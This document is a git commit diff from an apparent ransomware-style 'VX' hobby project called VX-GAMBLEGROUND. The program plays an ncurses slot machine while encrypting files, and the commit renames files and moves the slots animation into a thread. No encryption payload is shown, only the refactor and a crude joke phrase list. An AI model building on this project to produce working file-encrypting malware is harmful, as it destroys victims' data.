summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
Diffstat (limited to 'src')
-rw-r--r--src/Makefile6
-rwxr-xr-xsrc/VX-GAMBLEGROUNDbin0 -> 255936 bytes
-rw-r--r--src/VX-GAMBLEGROUND.c (renamed from src/main.c)24
-rw-r--r--src/VX-GAMBLEGROUND.h (renamed from src/main.h)11
-rwxr-xr-xsrc/runscreen.sh2
-rw-r--r--src/screen.h7
6 files changed, 31 insertions, 19 deletions
diff --git a/src/Makefile b/src/Makefile
index f7d05be..50fcbaf 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -3,7 +3,7 @@ CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggd
3LDLIBS = $$(pkg-config --libs libsodium) -lmenu $$(pkg-config --libs ncurses) 3LDLIBS = $$(pkg-config --libs libsodium) -lmenu $$(pkg-config --libs ncurses)
4 4
5SHELL := /usr/bin/env -S bash 5SHELL := /usr/bin/env -S bash
6BINARY_FILES := main.o encryption.o search.o screen.o ll.o main 6BINARY_FILES := encryption.o search.o screen.o ll.o VX-GAMBLEGROUND.o VX-GAMBLEGROUND
7 7
8.PHONY: all clean 8.PHONY: all clean
9 9
@@ -12,10 +12,10 @@ all: $(BINARY_FILES)
12clean: 12clean:
13 rm -rvf $(BINARY_FILES) $(wildcard *.o) 13 rm -rvf $(BINARY_FILES) $(wildcard *.o)
14 14
15main.o: main.c main.h 15VX-GAMBLEGROUND.o: VX-GAMBLEGROUND.c VX-GAMBLEGROUND.h
16encryption.o: encryption.c encryption.h 16encryption.o: encryption.c encryption.h
17search.o: search.c search.h 17search.o: search.c search.h
18screen.o: screen.c screen.h 18screen.o: screen.c screen.h
19ll.o: ll.c ll.h 19ll.o: ll.c ll.h
20 20
21main: $(wildcard *.o) \ No newline at end of file 21VX-GAMBLEGROUND: $(wildcard *.o) \ No newline at end of file
diff --git a/src/VX-GAMBLEGROUND b/src/VX-GAMBLEGROUND
new file mode 100755
index 0000000..0b69d2f
--- /dev/null
+++ b/src/VX-GAMBLEGROUND
Binary files differ
diff --git a/src/main.c b/src/VX-GAMBLEGROUND.c
index 564846d..e905de4 100644
--- a/src/main.c
+++ b/src/VX-GAMBLEGROUND.c
@@ -10,7 +10,7 @@
10 10
11#define _GNU_SOURCE 11#define _GNU_SOURCE
12 12
13#include "main.h" 13#include "VX-GAMBLEGROUND.h"
14 14
15#include "encryption.h" 15#include "encryption.h"
16#include "search.h" 16#include "search.h"
@@ -33,6 +33,7 @@
33#include <time.h> 33#include <time.h>
34 34
35#include <stdio.h> 35#include <stdio.h>
36#include <threads.h>
36 37
37#define PHRASESIZE 32 38#define PHRASESIZE 32
38 39
@@ -48,13 +49,6 @@ static struct argp_option options[] = {
48 {"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0}, 49 {"noencrypt", 'n', 0, 0, "Don't encrypt files when ran, just play slots", 0},
49 {0} 50 {0}
50}; 51};
51#define SKIPSLOTS 0x1
52#define SKIPENC 0x2
53
54struct arguments {
55 char *inputpass;
56 int flags;
57};
58 52
59static error_t parse_opt(int key, char *arg, struct argp_state *state) { 53static error_t parse_opt(int key, char *arg, struct argp_state *state) {
60 struct arguments *args = state->input; 54 struct arguments *args = state->input;
@@ -158,6 +152,11 @@ int doslots(struct bullshit *stuff) {
158 return 0; 152 return 0;
159} 153}
160 154
155int doslots_twrapper(void *passed) {
156 return doslots((struct bullshit*)passed);
157};
158
159
161int main(int argc, char *argv[]) { 160int main(int argc, char *argv[]) {
162 struct arguments args = { 161 struct arguments args = {
163 .inputpass = NULL, 162 .inputpass = NULL,
@@ -169,7 +168,12 @@ int main(int argc, char *argv[]) {
169 error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure"); 168 error(1, 0, "[VX-GAMBLEGROUND] You want to skip the slots, and the encryption? Ok, sure");
170 169
171 struct bullshit stuff; 170 struct bullshit stuff;
172 doslots(&stuff); 171 thrd_t slots;
172 int err;
173
174 if((err = thrd_create(&slots, doslots_twrapper, (void*)&stuff)) != thrd_success)
175 error(1, 0, "Thread creation failed");
176
173 177
174 // if(args.inputpass != NULL) { 178 // if(args.inputpass != NULL) {
175 // printf("Using input passphrase \"%s\"\n", args.inputpass); 179 // printf("Using input passphrase \"%s\"\n", args.inputpass);
@@ -203,5 +207,7 @@ int main(int argc, char *argv[]) {
203 nodelist_delete(files); 207 nodelist_delete(files);
204 //*/ 208 //*/
205 209
210 thrd_join(slots, NULL);
211
206 return 0; 212 return 0;
207} \ No newline at end of file 213} \ No newline at end of file
diff --git a/src/main.h b/src/VX-GAMBLEGROUND.h
index 579e541..80baacb 100644
--- a/src/main.h
+++ b/src/VX-GAMBLEGROUND.h
@@ -1,8 +1,15 @@
1#ifndef __SLOTS__MAIN_H__1443534935301 1#ifndef __SLOTS__VXGAMBLEGROUND_H__1443534935301
2#define __SLOTS__MAIN_H__1443534935301 2#define __SLOTS__VXGAMBLEGROUND_H__1443534935301
3 3
4#include "screen.h" 4#include "screen.h"
5 5
6struct arguments {
7 char *inputpass;
8 int flags;
9};
10#define SKIPSLOTS 0x1
11#define SKIPENC 0x2
12
6struct bullshit { 13struct bullshit {
7 struct sigaction handler; 14 struct sigaction handler;
8 int row, col, randphrase; 15 int row, col, randphrase;
diff --git a/src/runscreen.sh b/src/runscreen.sh
index 7873451..7df189b 100755
--- a/src/runscreen.sh
+++ b/src/runscreen.sh
@@ -3,7 +3,7 @@
3# This file exists because I've gotten to the point where I need to open the terminal in specific dimensions 3# This file exists because I've gotten to the point where I need to open the terminal in specific dimensions
4# or the thing looks bad 4# or the thing looks bad
5 5
6BINNAME="main" 6BINNAME="VX-GAMBLEGROUND"
7SCRIPT_DIR="$(cd "$(dirname "$0")" && echo "$PWD")" 7SCRIPT_DIR="$(cd "$(dirname "$0")" && echo "$PWD")"
8 8
9main() { 9main() {
diff --git a/src/screen.h b/src/screen.h
index 2d4f610..efe7335 100644
--- a/src/screen.h
+++ b/src/screen.h
@@ -6,7 +6,6 @@
6#include <signal.h> 6#include <signal.h>
7 7
8#define phrases (const char *[]){\ 8#define phrases (const char *[]){\
9 /* By @syxhe on Telegram */\
10 "WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES",\ 9 "WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES",\
11 "R.I.P VxHeaven",\ 10 "R.I.P VxHeaven",\
12 "tmp(2) nuked by Smelly",\ 11 "tmp(2) nuked by Smelly",\
@@ -30,7 +29,7 @@
30 "Check out \"Darknet Diaries\"",\ 29 "Check out \"Darknet Diaries\"",\
31 "Chill and losing it since 2016",\ 30 "Chill and losing it since 2016",\
32 "POOL'S CLOSED",\ 31 "POOL'S CLOSED",\
33 "I've been diagnosed with snaids",\ 32 "I've been diagnosed with snaids (snail aids)",\
34 "My balls itch",\ 33 "My balls itch",\
35 "We killin filez and shiit",\ 34 "We killin filez and shiit",\
36 "lonix users BTFO once again",\ 35 "lonix users BTFO once again",\
@@ -72,13 +71,13 @@
72 "Shoutout Elliot Alderson",\ 71 "Shoutout Elliot Alderson",\
73 "Ted Kaczynski was right",\ 72 "Ted Kaczynski was right",\
74 "The FBI watches me jerk off to MILFs lol",\ 73 "The FBI watches me jerk off to MILFs lol",\
75 "robux generator free online 2024 100% working undetected",\ 74 "robux generator free online 2024 100%% working undetected",\
76 "Doge wuz here",\ 75 "Doge wuz here",\
77 "We like Fortnite we like Fortnite",\ 76 "We like Fortnite we like Fortnite",\
78 "We live in a society",\ 77 "We live in a society",\
79 "Hab you seen a alien pls?",\ 78 "Hab you seen a alien pls?",\
80 "using a flipperzero makes me an APT, right?",\ 79 "using a flipperzero makes me an APT, right?",\
81 "Subscribe to PewDiePie",\ 80 "Subscribe to PewDiePie"\
82} 81}
83 82
84#define menu_choices (const char *[]){\ 83#define menu_choices (const char *[]){\